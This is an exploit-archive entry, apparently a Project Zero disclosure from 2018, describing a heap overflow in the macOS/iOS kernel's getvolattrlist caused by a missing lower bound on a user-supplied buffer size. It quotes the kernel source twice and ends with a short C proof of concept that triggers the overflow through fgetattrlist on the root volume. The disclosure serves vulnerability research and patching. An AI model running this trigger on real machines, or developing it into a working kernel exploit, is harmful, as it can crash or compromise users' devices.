macOS / iOS Kernel - Heap Overflow Due to Lack of Lower Size Check in getvolattrlist Exploit

2018-06-08
ID: 98300
CVE: None
Download vulnerable application: None
/*
getvolattrlist takes a user controlled bufferSize argument via the fgetattrlist syscall.
  When allocating a kernel buffer to serialize the attr list to there's the following comment:
    /*
   * Allocate a target buffer for attribute results.
   * Note that since we won't ever copy out more than the caller requested,
   * we never need to allocate more than they offer.
   */
  ab.allocated = ulmin(bufferSize, fixedsize + varsize);
  if (ab.allocated > ATTR_MAX_BUFFER) {
    error = ENOMEM;
    VFS_DEBUG(ctx, vp, "ATTRLIST - ERROR: buffer size too large (%d limit %d)", ab.allocated, ATTR_MAX_BUFFER);
    goto out;
  }
  MALLOC(ab.base, char *, ab.allocated, M_TEMP, M_ZERO | M_WAITOK);
  The problem is that the code doesn't then correctly handle the case when the user supplied buffer size
is smaller that the requested header size. If we pass ATTR_CMN_RETURNED_ATTRS we'll hit the following code:
    /* Return attribute set output if requested. */
  if (return_valid) {
    ab.actual.commonattr |= ATTR_CMN_RETURNED_ATTRS;
    if (pack_invalid) {
      /* Only report the attributes that are valid */
      ab.actual.commonattr &= ab.valid.commonattr;
      ab.actual.volattr &= ab.valid.volattr;
    }
    bcopy(&ab.actual, ab.base + sizeof(uint32_t), sizeof (ab.actual));
  }
  There's no check that the allocated buffer is big enough to hold at least that.
  Tested on MacOS 10.13.4 (17E199)
*/
  // ianbeer
#if 0
MacOS/iOS kernel heap overflow due to lack of lower size check in getvolattrlist
  getvolattrlist takes a user controlled bufferSize argument via the fgetattrlist syscall.
  When allocating a kernel buffer to serialize the attr list to there's the following comment:
      /*
     * Allocate a target buffer for attribute results.
     * Note that since we won't ever copy out more than the caller requested,
     * we never need to allocate more than they offer.
     */
    ab.allocated = ulmin(bufferSize, fixedsize + varsize);
    if (ab.allocated > ATTR_MAX_BUFFER) {
        error = ENOMEM;
        VFS_DEBUG(ctx, vp, "ATTRLIST - ERROR: buffer size too large (%d limit %d)", ab.allocated, ATTR_MAX_BUFFER);
        goto out;
    }
    MALLOC(ab.base, char *, ab.allocated, M_TEMP, M_ZERO | M_WAITOK);
  The problem is that the code doesn't then correctly handle the case when the user supplied buffer size
is smaller that the requested header size. If we pass ATTR_CMN_RETURNED_ATTRS we'll hit the following code:
      /* Return attribute set output if requested. */
    if (return_valid) {
        ab.actual.commonattr |= ATTR_CMN_RETURNED_ATTRS;
        if (pack_invalid) {
            /* Only report the attributes that are valid */
            ab.actual.commonattr &= ab.valid.commonattr;
            ab.actual.volattr &= ab.valid.volattr;
        }
        bcopy(&ab.actual, ab.base + sizeof(uint32_t), sizeof (ab.actual));
    }
  There's no check that the allocated buffer is big enough to hold at least that.
  Tested on MacOS 10.13.4 (17E199)
  #endif
  #include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/attr.h>
  int main() {
  int fd = open("/", O_RDONLY);
  if (fd == -1) {
    perror("unable to open fs root\n");
    return 0;
  }
    struct attrlist al = {0};
    al.bitmapcount = ATTR_BIT_MAP_COUNT;
  al.volattr = 0xfff;
  al.commonattr = ATTR_CMN_RETURNED_ATTRS;
    size_t attrBufSize = 16;
  void* attrBuf = malloc(attrBufSize);
  int options = 0;
    int err = fgetattrlist(fd, &al, attrBuf, attrBufSize, options);
  printf("err: %d\n", err);
  return 0;
}
1-4-2 (www01)